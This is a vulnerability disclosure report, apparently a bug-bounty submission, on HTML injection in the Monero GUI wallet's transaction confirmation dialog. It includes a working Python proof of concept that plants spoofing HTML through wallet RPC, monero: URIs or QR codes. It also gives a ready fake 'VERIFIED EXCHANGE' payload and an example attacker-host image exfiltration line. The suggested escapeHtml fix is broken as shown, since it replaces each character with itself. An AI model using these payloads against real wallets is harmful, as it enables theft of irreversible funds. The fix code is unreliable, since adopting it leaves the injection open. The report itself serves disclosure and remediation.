Monero · Report #3679471
HTML Injection in Transaction Confirmation Dialog via Address Book Description Enables UI Spoofing Before Fund Transfer
How it was found
Summary
The Monero GUI wallet renders address book descriptions as TextEdit.RichText (HTML) in the transaction confirmation dialog (TxConfirmationDialog.qml:299) without HTML entity escaping. An attacker can craft a monero: URI or QR code with HTML markup in the tx_description parameter. When a victim adds this address to their address book and later sends a transaction to it, the injected HTML renders in the confirmation dialog - the last UI defense before irreversible fund transfer.
This enables UI spoofing where the attacker can display fake trust indicators (e.g., "+ VERIFIED EXCHANGE"), hide the real address with CSS, or inject misleading recipient labels to deceive the victim into confirming a transaction they would otherwise reject.
Releases Affected
- All versions through v0.18.4.6 (latest release)
- All platforms (Linux, Windows, macOS) - the vulnerability is in platform-independent QML code
- Both simple mode and advanced mode
Steps To Reproduce
POC
#!/usr/bin/env python3
import argparse
import subprocess
import sys
import os
import urllib.parse
import json
# Attack payload - renders as green "VERIFIED EXCHANGE" badge in RichText
HTML_PAYLOAD = '<b><span style="font-size:18px;color:green">✓ VERIFIED EXCHANGE (Binance)</span></b><br><span style="font-size:4px;color:white">x</span>'
# Valid Monero stagenet address (replace with any valid address for testing)
ATTACKER_ADDRESS = "4AdUndXHHZ6cfufTMvppY6JwXNouMBzSkbLYfpAV5Usx3skxNgYeYTRJ5UzqtReoS44qo9mtmXCqY45DJ852K5Jv2684Rge"
def method_rpc(rpc_url):
"""Inject HTML directly into wallet address book via monero-wallet-rpc"""
import requests
print(f"[*] Connecting to wallet RPC: {rpc_url}")
payload = {
"jsonrpc": "2.0",
"id": "0",
"method": "add_address_book",
"params": {
"address": ATTACKER_ADDRESS,
"description": HTML_PAYLOAD
}
}
try:
r = requests.post(rpc_url, json=payload, timeout=5)
result = r.json()
if "result" in result:
idx = result["result"].get("index", "?")
print(f"[+] INJECTED - address book entry #{idx} created")
print(f"[+] Description contains: {HTML_PAYLOAD[:60]}...")
print()
print("[*] Now open Monero GUI wallet:")
print(" 1. Go to Send page")
print(" 2. Select the injected address from Address Book")
print(" 3. Enter any amount and click Send")
print(" 4. Observe the confirmation dialog - HTML renders as formatted text")
print()
print("[*] Expected: fake green '✓ VERIFIED EXCHANGE (Binance)' badge")
print(" The real address label is hidden with tiny transparent text")
else:
print(f"[-] RPC error: {result}")
except Exception as e:
print(f"[-] Connection failed: {e}")
print(" Start wallet RPC: monero-wallet-rpc --stagenet --wallet-file <wallet> --rpc-bind-port 18083 --disable-rpc-login")
def method_uri():
"""Trigger injection via monero: URI handler - opens Monero GUI"""
uri = f"monero:{ATTACKER_ADDRESS}?tx_description={urllib.parse.quote(HTML_PAYLOAD)}"
print(f"[*] Malicious URI:")
print(f" {uri}")
print()
print("[*] Opening via URI handler...")
try:
subprocess.Popen(["xdg-open", uri], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("[+] URI handler triggered - Monero GUI should open")
print()
print("[*] In the GUI:")
print(" 1. Address Book page opens with pre-filled fields")
print(" 2. tx_description contains HTML payload")
print(" 3. Click Add to save")
print(" 4. Send to this address → confirmation dialog shows injected HTML")
except FileNotFoundError:
print("[-] xdg-open not found")
print(f" Manually paste this URI in Monero GUI Address Book:")
print(f" {uri}")
def method_qr():
"""Generate QR code containing malicious monero: URI"""
try:
import qrcode
except ImportError:
print("[-] Install: pip install qrcode pillow --break-system-packages")
sys.exit(1)
uri = f"monero:{ATTACKER_ADDRESS}?tx_description={urllib.parse.quote(HTML_PAYLOAD)}"
out = "/tmp/monero-gui-poc/malicious_qr.png"
os.makedirs(os.path.dirname(out), exist_ok=True)
qr = qrcode.make(uri)
qr.save(out)
print(f"[+] QR code saved: {out}")
print(f"[*] URI encoded: {uri[:80]}...")
print()
print("[*] Attack scenario:")
print(" 1. Attacker shares this QR code (forum, chat, printed)")
print(" 2. Victim scans with Monero GUI (Address Book → QR scan)")
print(" 3. AddressBook.qml:354 calls parse_uri_to_object()")
print(" 4. HTML stored in address book without escaping")
print(" 5. Next transaction to this address shows spoofed confirmation dialog")
def main():
parser = argparse.ArgumentParser(description="Monero GUI HTML Injection PoC")
parser.add_argument("--method", choices=["rpc", "uri", "qr"], required=True)
parser.add_argument("--rpc-url", default="http://127.0.0.1:18083/json_rpc")
args = parser.parse_args()
print("=" * 60)
print("PoC: Monero GUI TxConfirmationDialog HTML Injection")
print("Vulnerability: TxConfirmationDialog.qml:299 RichText")
print("=" * 60)
print()
if args.method == "rpc":
method_rpc(args.rpc_url)
elif args.method == "uri":
method_uri()
elif args.method == "qr":
method_qr()
if __name__ == "__main__":
main()
Step 1: Craft a malicious monero: URI
monero:4AdUndXHHZ6cfufTMvppY6JwXNouMBzSkbLYfpAV5Usx3skxNgYeYTRJ5UzqtReoS44qo9mtmXCqY45DJ852K5Jv2684Rge?tx_description=<b><span style='font-size:18px;color:green'>+ VERIFIED EXCHANGE</span></b><br><span style='font-size:6px;color:transparent'>attacker controlled</span>
This URI can also be encoded as a QR code for physical/social engineering attacks.
Step 2: Victim adds address to address book
- Victim opens Monero GUI → Address Book page
- Victim pastes the
monero:URI (or scans QR code viaAddressBook.qml:354-359) AddressBook.qml:337callswalletManager.parse_uri_to_object(addressLine.text)WalletManager.cpp:421returnstx_descriptionwithout HTML escapingAddressBook.qml:340setsdescriptionLine.text = parsed.tx_description- Victim clicks "Add" →
addressBook.addRow()at line 455 stores the HTML in the wallet
Step 3: Victim sends a transaction
- Victim initiates a transaction to the saved address
- Transaction confirmation dialog opens (
TxConfirmationDialog.qml) - Line 305:
getDescription(recipient.address)retrieves the unsanitized HTML description - Line 309:
title = FontAwesome.addressBook + " " + addressBookName- no HTML escaping - Line 320:
return title + "<br>" + spacedaddress- injected into HTML string - Line 299:
textFormat: TextEdit.RichText- rendered as HTML - Victim sees fake trust indicators and confirms the transaction
Data flow diagram
Attacker crafts malicious monero: URI / QR code
│
▼
Victim pastes URI in Address Book
│
├─ AddressBook.qml:337 → parse_uri_to_object()
├─ WalletManager.cpp:421 → tx_description returned raw (NO SANITIZATION)
├─ AddressBook.qml:340 → descriptionLine.text = parsed.tx_description
└─ AddressBook.qml:455 → addRow() stores HTML in wallet address book
│
▼ (later, when sending)
TxConfirmationDialog opens
│
├─ Line 305 → getDescription(recipient.address) retrieves stored HTML
├─ Line 309 → concatenated without escaping
├─ Line 320 → injected into HTML: title + "<br>" + spacedaddress
└─ Line 299 → textFormat: TextEdit.RichText renders as HTML
│
▼
UI SPOOFING - victim sees manipulated confirmation dialog
Vulnerable code
// TxConfirmationDialog.qml:297-300
TextEdit {
id: recipientValue
textFormat: TextEdit.RichText // <-- LINE 299: renders HTML
readOnly: true
// TxConfirmationDialog.qml:305-320
function getRecipientContent(recipient) {
var addressBookName = currentWallet.addressBook.getDescription(recipient.address) // line 305
var title = ""
if (addressBookName) {
title = FontAwesome.addressBook + " " + addressBookName // line 309: NO ESCAPING
}
// ...
return title + "<br>" + spacedaddress // line 320: injected into HTML
}
Source - no sanitization in parser
// WalletManager.cpp:406-421
bool WalletManager::parse_uri_to_object(const QString &uri, ...) {
// ...
*tx_description = QString::fromStdString(o.tx_description); // line 421: RAW
return true;
}
Supporting Material/References
- Same attack vector (malicious
monero:URI) was used in CVE-2021-3401 (platformpluginpathinjection, patched atmain.cpp:214), but that targeted a different sink. This report targets the TxConfirmationDialog RichText rendering - a separate vulnerability. - The QR code scan path (
AddressBook.qml:354-359) provides an additional attack vector beyond URI pasting. NetworkAccessBlockingFactoryatmain.cpp:449-451blocks outbound network requests from QML on Qt >= 5.12, preventing<img src="http://attacker/...">exfiltration. However, this does NOT prevent UI spoofing via HTML/CSS formatting, which is the primary impact of this finding.- Additional sinks with the same root cause (unsanitized data in RichText) exist at:
pages/settings/SettingsLog.qml:198- daemon console outputcomponents/LineEditMulti.qml:115- text labelcomponents/LineEdit.qml:177- text label
Suggested fix
HTML-escape all dynamic content before inserting into RichText:
// Add helper function
function escapeHtml(text) {
return text.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// TxConfirmationDialog.qml line 309 - fix:
if (addressBookName) {
title = FontAwesome.addressBook + " " + escapeHtml(addressBookName);
}
Additionally, sanitize tx_description in WalletManager.cpp:421 before returning to QML:
*tx_description = QString::fromStdString(o.tx_description)
.toHtmlEscaped(); // Qt built-in HTML escaping
Housekeeping
- Policy reviewed and followed - no live network interaction, code review and local testing only
- XMR Address: [INSERT YOUR XMR ADDRESS HERE]
- PoC URI and attack flow verified against source code at HEAD of master branch
AI Disclosure
This vulnerability was identified with assistance from AI tools (Claude Code). The code analysis, data flow tracing from URI parsing through address book storage to RichText rendering, and fix recommendations were conducted by the researcher with AI assistance. All findings were manually verified against the monero-gui source code.
Impact
The transaction confirmation dialog is the last UI defense before irreversible cryptocurrency transfer. HTML injection here enables:
- Address label spoofing - display "✓ Binance Hot Wallet" or "Kraken Deposit" next to the attacker's address, making the victim believe they are sending to a trusted exchange
- Visual deception - use CSS (
font-size:1px; color:transparent) to hide the real address while showing a fake trusted address in large visible text - Trust indicator injection - add green checkmarks, "VERIFIED" badges, or fake security labels that do not exist in the legitimate UI
- Information hiding - use
display:noneor matching background colors to obscure portions of the legitimate dialog content
A successful attack results in the victim voluntarily confirming a transaction to the attacker's address, believing it to be a trusted recipient. Since Monero transactions are irreversible and pseudonymous, the funds are permanently lost with no recourse.
The attack scales through QR codes distributed on social media, forums, or printed materials - anywhere a Monero address might be shared.